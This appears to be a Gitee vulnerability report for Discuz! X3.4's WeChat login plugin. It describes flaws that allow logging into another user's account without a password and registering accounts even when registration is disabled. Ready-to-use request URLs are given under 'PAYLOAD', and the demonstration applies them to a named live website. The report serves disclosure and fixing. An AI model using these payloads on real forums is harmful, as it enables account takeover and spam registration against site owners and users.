码云 IDEA 插件最新版本发布,支持 Pull Request

Discuz! / DiscuzXPHP

Metrics
0
Watch 563 Star 1.4k Fork 789

discuz 3.4 some logical bugs

Closed
whirlwind  Created at

discuz 3.4 some logical bugs

when #wechat#common_member_wechatmp has some items,we can login one random account without password (who first click wechat login and not success bind wechat).
/plugin.php?id=wechat:wechat&ac=wxregister&username=abcdefg

use a fake wxopenid,we also can register accounts without any validation,even if disabled registration.
/plugin.php?id=wechat:wechat&ac=wxregister&username=whirlwind&wxopenid=abcdefg


discuz 3.4 逻辑漏洞

比较有意思的漏洞。

dz 3.4默认安装了微信登陆。

如果有用户点了一下绑定微信,但是并没有绑定,会写入common_member_wechatmp
wechat.inc.php 230行附近,会取出第一个用户,然后重复使用这个tmp,但是在取出后,setloginstatus($member, 1296000);就导致可以越权进入上一个人账号。

另外他fetch_by_openid($wxopenid ? $wxopenid : $_GET['wxopenid']);,只要随便写一个不存在的wxopenid,就跳过此处,可以$uid = WeChat::register($_GET['username'], $ac == 'wxregister');,注册一个用户。从而达到无限注册用户,且不会有验证码、邀请码的限制,哪怕禁止注册。

另外还可以unbindmp来删除common_member_wechatmp,从而可以遍历Tmp中存在的用户,越权进入这些人的账号。

PAYLOAD

随机登陆一个账号

/plugin.php?id=wechat:wechat&ac=wxregister&username={username}

清空tmp

/plugin.php?id=wechat:wechat&ac=unbindmp&uid={uid}&hash={csrf_hash}

注册账号

/plugin.php?id=wechat:wechat&ac=wxregister&username={username}&wxopenid=abcdefg

注意:登陆后会跳转到微信,然后回到首页刷新即可。

危害

如果管理员第一个,那就直接进管理员了,一般都是经验高的用户。

另外无限注册,导致dos,以及绕过注册限制,从而可以做HC,黄赌毒外推那种。

演示

目标:http://www.stbike.net/

登陆一个随机的账号:
http://www.stbike.net/plugin.php?id=wechat:wechat&ac=wxregister&username=asadsads

注册账号,即使这个网站禁止注册:
http://www.stbike.net/plugin.php?id=wechat:wechat&ac=wxregister&username=whirlwind&wxopenid=abcdefg

1157835_comsenzdiscuz 1296242_whirlwind110 total 3 participants

Comments (3)

1157835_comsenzdiscuz
Discuz! 2018-12-25 20:29 owner

已阅

卡卡北 2018-12-27 16:46

25号晚我也遇到了。。。
http://www.discuz.net/thread-3845108-1-1.html

1296242_whirlwind110
whirlwind 2018-12-27 16:55

@卡卡北 修复的话 注释掉那行设置setlogin的代码就行 ,好像是

Sign in and comment

Assignee
Labels
Not set
Milestone
Branch
Scheduled start
Not set
Scheduled end
Not set
Top level
Priority

Help Search